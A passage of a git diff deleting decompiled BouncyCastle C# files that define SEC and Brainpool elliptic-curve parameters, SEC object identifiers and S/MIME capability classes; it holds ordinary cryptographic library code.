bigInteger2, seed); - } - } - - internal class Sect571k1Holder : X9ECParametersHolder - { - private const int m = 571; - - private const int k1 = 2; - - private const int k2 = 5; - - private const int k3 = 10; - - internal static readonly X9ECParametersHolder Instance = new Sect571k1Holder(); - - private Sect571k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger zero = BigInteger.Zero; - BigInteger one = BigInteger.One; - byte[] seed = null; - BigInteger bigInteger = FromHex("020000000000000000000000000000000000000000000000000000000000000000000000131850E1F19A63E4B391A8DB917F4138B630D84BE5D639381E91DEB45CFE778F637C1001"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = new F2mCurve(571, 2, 5, 10, zero, one, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04026EB7A859923FBC82189631F8103FE4AC9CA2970012D5D46024804801841CA44370958493B205E647DA304DB4CEB08CBBD1BA39494776FB988B47174DCA88C7E2945283A01C89720349DC807F4FBF374F4AEADE3BCA95314DD58CEC9F307A54FFC61EFC006D8A2C9D4979C0AC44AEA74FBEBBB9F772AEDCB620B01A7BA7AF1B320430C8591984F601CD4C143EF1C7A3")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Sect571r1Holder : X9ECParametersHolder - { - private const int m = 571; - - private const int k1 = 2; - - private const int k2 = 5; - - private const int k3 = 10; - - internal static readonly X9ECParametersHolder Instance = new Sect571r1Holder(); - - private Sect571r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger one = BigInteger.One; - BigInteger b = FromHex("02F40E7E2221F295DE297117B7F3D62F5C6A97FFCB8CEFF1CD6BA8CE4A9A18AD84FFABBD8EFA59332BE7AD6756A66E294AFD185A78FF12AA520E4DE739BACA0C7FFEFF7F2955727A"); - byte[] seed = Hex.Decode("2AA058F73A0E33AB486B0F610410C53A7F132310"); - BigInteger bigInteger = FromHex("03FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE661CE18FF55987308059B186823851EC7DD9CA1161DE93D5174D66E8382E9BB2FE84E47"); - BigInteger bigInteger2 = BigInteger.ValueOf(2L); - ECCurve eCCurve = new F2mCurve(571, 2, 5, 10, one, b, bigInteger, bigInteger2); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("040303001D34B856296C16C0D40D3CD7750A93D1D2955FA80AA5F40FC8DB7B2ABDBDE53950F4C0D293CDD711A35B67FB1499AE60038614F1394ABFA3B4C850D927E1E7769C8EEC2D19037BF27342DA639B6DCCFFFEB73D69D78C6C27A6009CBBCA1980F8533921E8A684423E43BAB08A576291AF8F461BB2A8B3531D2F0485C19B16E2F1516E23DD3C1A4827AF1B8AC15B")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - private static readonly IDictionary objIds; - - private static readonly IDictionary curves; - - private static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private SecNamedCurves() - { - } - - private static ECCurve ConfigureCurve(ECCurve curve) - { - return curve; - } - - private static ECCurve ConfigureCurveGlv(ECCurve c, GlvTypeBParameters p) - { - return c.Configure().SetEndomorphism(new GlvTypeBEndomorphism(c, p)).Create(); - } - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static void DefineCurve(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) - { - objIds.Add(Platform.ToUpperInvariant(name), oid); - names.Add(oid, name); - curves.Add(oid, holder); - } - - static SecNamedCurves() - { - objIds = Platform.CreateHashtable(); - curves = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - DefineCurve("secp112r1", SecObjectIdentifiers.SecP112r1, Secp112r1Holder.Instance); - DefineCurve("secp112r2", SecObjectIdentifiers.SecP112r2, Secp112r2Holder.Instance); - DefineCurve("secp128r1", SecObjectIdentifiers.SecP128r1, Secp128r1Holder.Instance); - DefineCurve("secp128r2", SecObjectIdentifiers.SecP128r2, Secp128r2Holder.Instance); - DefineCurve("secp160k1", SecObjectIdentifiers.SecP160k1, Secp160k1Holder.Instance); - DefineCurve("secp160r1", SecObjectIdentifiers.SecP160r1, Secp160r1Holder.Instance); - DefineCurve("secp160r2", SecObjectIdentifiers.SecP160r2, Secp160r2Holder.Instance); - DefineCurve("secp192k1", SecObjectIdentifiers.SecP192k1, Secp192k1Holder.Instance); - DefineCurve("secp192r1", SecObjectIdentifiers.SecP192r1, Secp192r1Holder.Instance); - DefineCurve("secp224k1", SecObjectIdentifiers.SecP224k1, Secp224k1Holder.Instance); - DefineCurve("secp224r1", SecObjectIdentifiers.SecP224r1, Secp224r1Holder.Instance); - DefineCurve("secp256k1", SecObjectIdentifiers.SecP256k1, Secp256k1Holder.Instance); - DefineCurve("secp256r1", SecObjectIdentifiers.SecP256r1, Secp256r1Holder.Instance); - DefineCurve("secp384r1", SecObjectIdentifiers.SecP384r1, Secp384r1Holder.Instance); - DefineCurve("secp521r1", SecObjectIdentifiers.SecP521r1, Secp521r1Holder.Instance); - DefineCurve("sect113r1", SecObjectIdentifiers.SecT113r1, Sect113r1Holder.Instance); - DefineCurve("sect113r2", SecObjectIdentifiers.SecT113r2, Sect113r2Holder.Instance); - DefineCurve("sect131r1", SecObjectIdentifiers.SecT131r1, Sect131r1Holder.Instance); - DefineCurve("sect131r2", SecObjectIdentifiers.SecT131r2, Sect131r2Holder.Instance); - DefineCurve("sect163k1", SecObjectIdentifiers.SecT163k1, Sect163k1Holder.Instance); - DefineCurve("sect163r1", SecObjectIdentifiers.SecT163r1, Sect163r1Holder.Instance); - DefineCurve("sect163r2", SecObjectIdentifiers.SecT163r2, Sect163r2Holder.Instance); - DefineCurve("sect193r1", SecObjectIdentifiers.SecT193r1, Sect193r1Holder.Instance); - DefineCurve("sect193r2", SecObjectIdentifiers.SecT193r2, Sect193r2Holder.Instance); - DefineCurve("sect233k1", SecObjectIdentifiers.SecT233k1, Sect233k1Holder.Instance); - DefineCurve("sect233r1", SecObjectIdentifiers.SecT233r1, Sect233r1Holder.Instance); - DefineCurve("sect239k1", SecObjectIdentifiers.SecT239k1, Sect239k1Holder.Instance); - DefineCurve("sect283k1", SecObjectIdentifiers.SecT283k1, Sect283k1Holder.Instance); - DefineCurve("sect283r1", SecObjectIdentifiers.SecT283r1, Sect283r1Holder.Instance); - DefineCurve("sect409k1", SecObjectIdentifiers.SecT409k1, Sect409k1Holder.Instance); - DefineCurve("sect409r1", SecObjectIdentifiers.SecT409r1, Sect409r1Holder.Instance); - DefineCurve("sect571k1", SecObjectIdentifiers.SecT571k1, Sect571k1Holder.Instance); - DefineCurve("sect571r1", SecObjectIdentifiers.SecT571r1, Sect571r1Holder.Instance); - } - - public static X9ECParameters GetByName(string name) - { - DerObjectIdentifier oid = GetOid(name); - if (oid != null) - { - return GetByOid(oid); - } - return null; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return ((X9ECParametersHolder)curves[oid])?.Parameters; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/SecObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/SecObjectIdentifiers.cs deleted file mode 100644 index dac9952..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/SecObjectIdentifiers.cs +++ /dev/null @@ -1,74 +0,0 @@ -using Org.BouncyCastle.Asn1.X9; - -namespace Org.BouncyCastle.Asn1.Sec; - -public abstract class SecObjectIdentifiers -{ - public static readonly DerObjectIdentifier EllipticCurve = new DerObjectIdentifier("1.3.132.0"); - - public static readonly DerObjectIdentifier SecT163k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".1")); - - public static readonly DerObjectIdentifier SecT163r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".2")); - - public static readonly DerObjectIdentifier SecT239k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".3")); - - public static readonly DerObjectIdentifier SecT113r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".4")); - - public static readonly DerObjectIdentifier SecT113r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".5")); - - public static readonly DerObjectIdentifier SecP112r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".6")); - - public static readonly DerObjectIdentifier SecP112r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".7")); - - public static readonly DerObjectIdentifier SecP160r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".8")); - - public static readonly DerObjectIdentifier SecP160k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".9")); - - public static readonly DerObjectIdentifier SecP256k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".10")); - - public static readonly DerObjectIdentifier SecT163r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".15")); - - public static readonly DerObjectIdentifier SecT283k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".16")); - - public static readonly DerObjectIdentifier SecT283r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".17")); - - public static readonly DerObjectIdentifier SecT131r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".22")); - - public static readonly DerObjectIdentifier SecT131r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".23")); - - public static readonly DerObjectIdentifier SecT193r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".24")); - - public static readonly DerObjectIdentifier SecT193r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".25")); - - public static readonly DerObjectIdentifier SecT233k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".26")); - - public static readonly DerObjectIdentifier SecT233r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".27")); - - public static readonly DerObjectIdentifier SecP128r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".28")); - - public static readonly DerObjectIdentifier SecP128r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".29")); - - public static readonly DerObjectIdentifier SecP160r2 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".30")); - - public static readonly DerObjectIdentifier SecP192k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".31")); - - public static readonly DerObjectIdentifier SecP224k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".32")); - - public static readonly DerObjectIdentifier SecP224r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".33")); - - public static readonly DerObjectIdentifier SecP384r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".34")); - - public static readonly DerObjectIdentifier SecP521r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".35")); - - public static readonly DerObjectIdentifier SecT409k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".36")); - - public static readonly DerObjectIdentifier SecT409r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".37")); - - public static readonly DerObjectIdentifier SecT571k1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".38")); - - public static readonly DerObjectIdentifier SecT571r1 = new DerObjectIdentifier(string.Concat(EllipticCurve, ".39")); - - public static readonly DerObjectIdentifier SecP192r1 = X9ObjectIdentifiers.Prime192v1; - - public static readonly DerObjectIdentifier SecP256r1 = X9ObjectIdentifiers.Prime256v1; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeAttributes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeAttributes.cs deleted file mode 100644 index 6950bd3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeAttributes.cs +++ /dev/null @@ -1,10 +0,0 @@ -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Asn1.Smime; - -public abstract class SmimeAttributes -{ - public static readonly DerObjectIdentifier SmimeCapabilities = PkcsObjectIdentifiers.Pkcs9AtSmimeCapabilities; - - public static readonly DerObjectIdentifier EncrypKeyPref = PkcsObjectIdentifiers.IdAAEncrypKeyPref; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilities.cs deleted file mode 100644 index f1c9b76..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilities.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Smime; - -public class SmimeCapabilities : Asn1Encodable -{ - public static readonly DerObjectIdentifier PreferSignedData = PkcsObjectIdentifiers.PreferSignedData; - - public static readonly DerObjectIdentifier CannotDecryptAny = PkcsObjectIdentifiers.CannotDecryptAny; - - public static readonly DerObjectIdentifier SmimeCapabilitesVersions = PkcsObjectIdentifiers.SmimeCapabilitiesVersions; - - public static readonly DerObjectIdentifier Aes256Cbc = NistObjectIdentifiers.IdAes256Cbc; - - public static readonly DerObjectIdentifier Aes192Cbc = NistObjectIdentifiers.IdAes192Cbc; - - public static readonly DerObjectIdentifier Aes128Cbc = NistObjectIdentifiers.IdAes128Cbc; - - public static readonly DerObjectIdentifier IdeaCbc = new DerObjectIdentifier("1.3.6.1.4.1.188.7.1.1.2"); - - public static readonly DerObjectIdentifier Cast5Cbc = new DerObjectIdentifier("1.2.840.113533.7.66.10"); - - public static readonly DerObjectIdentifier DesCbc = new DerObjectIdentifier("1.3.14.3.2.7"); - - public static readonly DerObjectIdentifier DesEde3Cbc = PkcsObjectIdentifiers.DesEde3Cbc; - - public static readonly DerObjectIdentifier RC2Cbc = PkcsObjectIdentifiers.RC2Cbc; - - private Asn1Sequence capabilities; - - public static SmimeCapabilities GetInstance(object obj) - { - if (obj == null || obj is SmimeCapabilities) - { - return (SmimeCapabilities)obj; - } - if (obj is Asn1Sequence) - { - return new SmimeCapabilities((Asn1Sequence)obj); - } - if (obj is AttributeX509) - { - return new SmimeCapabilities((Asn1Sequence)((AttributeX509)obj).AttrValues[0]); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public SmimeCapabilities(Asn1Sequence seq) - { - capabilities = seq; - } - - [Obsolete("Use 'GetCapabilitiesForOid' instead")] - public ArrayList GetCapabilities(DerObjectIdentifier capability) - { - ArrayList arrayList = new ArrayList(); - DoGetCapabilitiesForOid(capability, arrayList); - return arrayList; - } - - public IList GetCapabilitiesForOid(DerObjectIdentifier capability) - { - IList list = Platform.CreateArrayList(); - DoGetCapabilitiesForOid(capability, list); - return list; - } - - private void DoGetCapabilitiesForOid(DerObjectIdentifier capability, IList list) - { - if (capability == null) - { - foreach (object capability2 in capabilities) - { - SmimeCapability instance = SmimeCapability.GetInstance(capability2); - list.Add(instance); - } - return; - } - foreach (object capability3 in capabilities) - { - SmimeCapability instance2 = SmimeCapability.GetInstance(capability3); - if (capability.Equals(instance2.CapabilityID)) - { - list.Add(instance2); - } - } - } - - public override Asn1Object ToAsn1Object() - { - return capabilities; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilitiesAttribute.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilitiesAttribute.cs deleted file mode 100644 index 0591c58..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilitiesAttribute.cs +++ /dev/null @@ -1,11 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Smime; - -public class SmimeCapabilitiesAttribute : AttributeX509 -{ - public SmimeCapabilitiesAttribute(SmimeCapabilityVector capabilities) - : base(SmimeAttributes.SmimeCapabilities, new DerSet(new DerSequence(capabilities.ToAsn1EncodableVector()))) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapability.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapability.cs deleted file mode 100644 index 90c8172..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapability.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Asn1.Smime; - -public class SmimeCapability : Asn1Encodable -{ - public static readonly DerObjectIdentifier PreferSignedData = PkcsObjectIdentifiers.PreferSignedData; - - public static readonly DerObjectIdentifier CannotDecryptAny = PkcsObjectIdentifiers.CannotDecryptAny; - - public static readonly DerObjectIdentifier SmimeCapabilitiesVersions = PkcsObjectIdentifiers.SmimeCapabilitiesVersions; - - public static readonly DerObjectIdentifier DesCbc = new DerObjectIdentifier("1.3.14.3.2.7"); - - public static readonly DerObjectIdentifier DesEde3Cbc = PkcsObjectIdentifiers.DesEde3Cbc; - - public static readonly DerObjectIdentifier RC2Cbc = PkcsObjectIdentifiers.RC2Cbc; - - private DerObjectIdentifier capabilityID; - - private Asn1Object parameters; - - public DerObjectIdentifier CapabilityID => capabilityID; - - public Asn1Object Parameters => parameters; - - public SmimeCapability(Asn1Sequence seq) - { - capabilityID = (DerObjectIdentifier)seq[0].ToAsn1Object(); - if (seq.Count > 1) - { - parameters = seq[1].ToAsn1Object(); - } - } - - public SmimeCapability(DerObjectIdentifier capabilityID, Asn1Encodable parameters) - { - if (capabilityID == null) - { - throw new ArgumentNullException("capabilityID"); - } - this.capabilityID = capabilityID; - if (parameters != null) - { - this.parameters = parameters.ToAsn1Object(); - } - } - - public static SmimeCapability GetInstance(object obj) - { - if (obj == null || obj is SmimeCapability) - { - return (SmimeCapability)obj; - } - if (obj is Asn1Sequence) - { - return new SmimeCapability((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid SmimeCapability"); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(capabilityID); - if (parameters != null) - { - asn1EncodableVector.Add(parameters); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilityVector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilityVector.cs deleted file mode 100644 index ee75d5f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeCapabilityVector.cs +++ /dev/null @@ -1,26 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Smime; - -public class SmimeCapabilityVector -{ - private readonly Asn1EncodableVector capabilities = new Asn1EncodableVector(); - - public void AddCapability(DerObjectIdentifier capability) - { - capabilities.Add(new DerSequence(capability)); - } - - public void AddCapability(DerObjectIdentifier capability, int value) - { - capabilities.Add(new DerSequence(capability, new DerInteger(value))); - } - - public void AddCapability(DerObjectIdentifier capability, Asn1Encodable parameters) - { - capabilities.Add(new DerSequence(capability, parameters)); - } - - public Asn1EncodableVector ToAsn1EncodableVector() - { - return capabilities; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeEncryptionKeyPreferenceAttribute.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeEncryptionKeyPreferenceAttribute.cs deleted file mode 100644 index 0e3a225..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Smime/SmimeEncryptionKeyPreferenceAttribute.cs +++ /dev/null @@ -1,22 +0,0 @@ -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Smime; - -public class SmimeEncryptionKeyPreferenceAttribute : AttributeX509 -{ - public SmimeEncryptionKeyPreferenceAttribute(IssuerAndSerialNumber issAndSer) - : base(SmimeAttributes.EncrypKeyPref, new DerSet(new DerTaggedObject(explicitly: false, 0, issAndSer))) - { - } - - public SmimeEncryptionKeyPreferenceAttribute(RecipientKeyIdentifier rKeyID) - : base(SmimeAttributes.EncrypKeyPref, new DerSet(new DerTaggedObject(explicitly: false, 1, rKeyID))) - { - } - - public SmimeEncryptionKeyPreferenceAttribute(Asn1OctetString sKeyID) - : base(SmimeAttributes.EncrypKeyPref, new DerSet(new DerTaggedObject(explicitly: false, 2, sKeyID))) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/TeleTrust/TeleTrusTNamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/TeleTrust/TeleTrusTNamedCurves.cs deleted file mode 100644 index 5008912..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/TeleTrust/TeleTrusTNamedCurves.cs +++ /dev/null @@ -1,321 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.TeleTrust; - -public class TeleTrusTNamedCurves -{ - internal class BrainpoolP160r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP160r1Holder(); - - private BrainpoolP160r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("E95E4A5F737059DC60DF5991D45029409E60FC09", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("E95E4A5F737059DC60DFC7AD95B3D8139515620F", 16), new BigInteger("340E7BE2A280EB74E2BE61BADA745D97E8F7C300", 16), new BigInteger("1E589A8595423412134FAA2DBDEC95C8D8675E58", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("04BED5AF16EA3F6A4F62938C4631EB5AF7BDBCDBC31667CB477A1A8EC338F94741669C976316DA6321")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP160t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP160t1Holder(); - - private BrainpoolP160t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("E95E4A5F737059DC60DF5991D45029409E60FC09", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("E95E4A5F737059DC60DFC7AD95B3D8139515620F", 16), new BigInteger("E95E4A5F737059DC60DFC7AD95B3D8139515620C", 16), new BigInteger("7A556B6DAE535B7B51ED2C4D7DAA7A0B5C55F380", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("04B199B13B9B34EFC1397E64BAEB05ACC265FF2378ADD6718B7C7C1961F0991B842443772152C9E0AD")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP192r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP192r1Holder(); - - private BrainpoolP192r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("C302F41D932A36CDA7A3462F9E9E916B5BE8F1029AC4ACC1", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("C302F41D932A36CDA7A3463093D18DB78FCE476DE1A86297", 16), new BigInteger("6A91174076B1E0E19C39C031FE8685C1CAE040E5C69A28EF", 16), new BigInteger("469A28EF7C28CCA3DC721D044F4496BCCA7EF4146FBF25C9", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("04C0A0647EAAB6A48753B033C56CB0F0900A2F5C4853375FD614B690866ABD5BB88B5F4828C1490002E6773FA2FA299B8F")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP192t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP192t1Holder(); - - private BrainpoolP192t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("C302F41D932A36CDA7A3462F9E9E916B5BE8F1029AC4ACC1", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("C302F41D932A36CDA7A3463093D18DB78FCE476DE1A86297", 16), new BigInteger("C302F41D932A36CDA7A3463093D18DB78FCE476DE1A86294", 16), new BigInteger("13D56FFAEC78681E68F9DEB43B35BEC2FB68542E27897B79", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("043AE9E58C82F63C30282E1FE7BBF43FA72C446AF6F4618129097E2C5667C2223A902AB5CA449D0084B7E5B3DE7CCC01C9")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP224r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP224r1Holder(); - - private BrainpoolP224r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("D7C134AA264366862A18302575D0FB98D116BC4B6DDEBCA3A5A7939F", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("D7C134AA264366862A18302575D1D787B09F075797DA89F57EC8C0FF", 16), new BigInteger("68A5E62CA9CE6C1C299803A6C1530B514E182AD8B0042A59CAD29F43", 16), new BigInteger("2580F63CCFE44138870713B1A92369E33E2135D266DBB372386C400B", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("040D9029AD2C7E5CF4340823B2A87DC68C9E4CE3174C1E6EFDEE12C07D58AA56F772C0726F24C6B89E4ECDAC24354B9E99CAA3F6D3761402CD")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP224t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP224t1Holder(); - - private BrainpoolP224t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("D7C134AA264366862A18302575D0FB98D116BC4B6DDEBCA3A5A7939F", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("D7C134AA264366862A18302575D1D787B09F075797DA89F57EC8C0FF", 16), new BigInteger("D7C134AA264366862A18302575D1D787B09F075797DA89F57EC8C0FC", 16), new BigInteger("4B337D934104CD7BEF271BF60CED1ED20DA14C08B3BB64F18A60888D", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("046AB1E344CE25FF3896424E7FFE14762ECB49F8928AC0C76029B4D5800374E9F5143E568CD23F3F4D7C0D4B1E41C8CC0D1C6ABD5F1A46DB4C")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP256r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP256r1Holder(); - - private BrainpoolP256r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("A9FB57DBA1EEA9BC3E660A909D838D718C397AA3B561A6F7901E0E82974856A7", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("A9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377", 16), new BigInteger("7D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9", 16), new BigInteger("26DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B6", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("048BD2AEB9CB7E57CB2C4B482FFC81B7AFB9DE27E1E3BD23C23A4453BD9ACE3262547EF835C3DAC4FD97F8461A14611DC9C27745132DED8E545C1D54C72F046997")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP256t1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new BrainpoolP256t1Holder(); - - private BrainpoolP256t1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger bigInteger = new BigInteger("A9FB57DBA1EEA9BC3E660A909D838D718C397AA3B561A6F7901E0E82974856A7", 16); - BigInteger bigInteger2 = new BigInteger("01", 16); - ECCurve eCCurve = ConfigureCurve(new FpCurve(new BigInteger("A9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377", 16), new BigInteger("A9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5374", 16), new BigInteger("662C61C430D84EA4FE66A7733D0B76B7BF93EBC4AF2F49256AE58101FEE92B04", 16), bigInteger, bigInteger2)); - return new X9ECParameters(eCCurve, new X9ECPoint(eCCurve, Hex.Decode("04A3E8EB3CC1CFE7B7732213B23A656149AFA142C47AAFBC2B79A191562E1305F42D996C823439C56D7F7B22E14644417E69BCB6DE39D027001DABE8F35B25C9BE")), bigInteger, bigInteger2); - } - } - - internal class BrainpoolP320r1Holder : 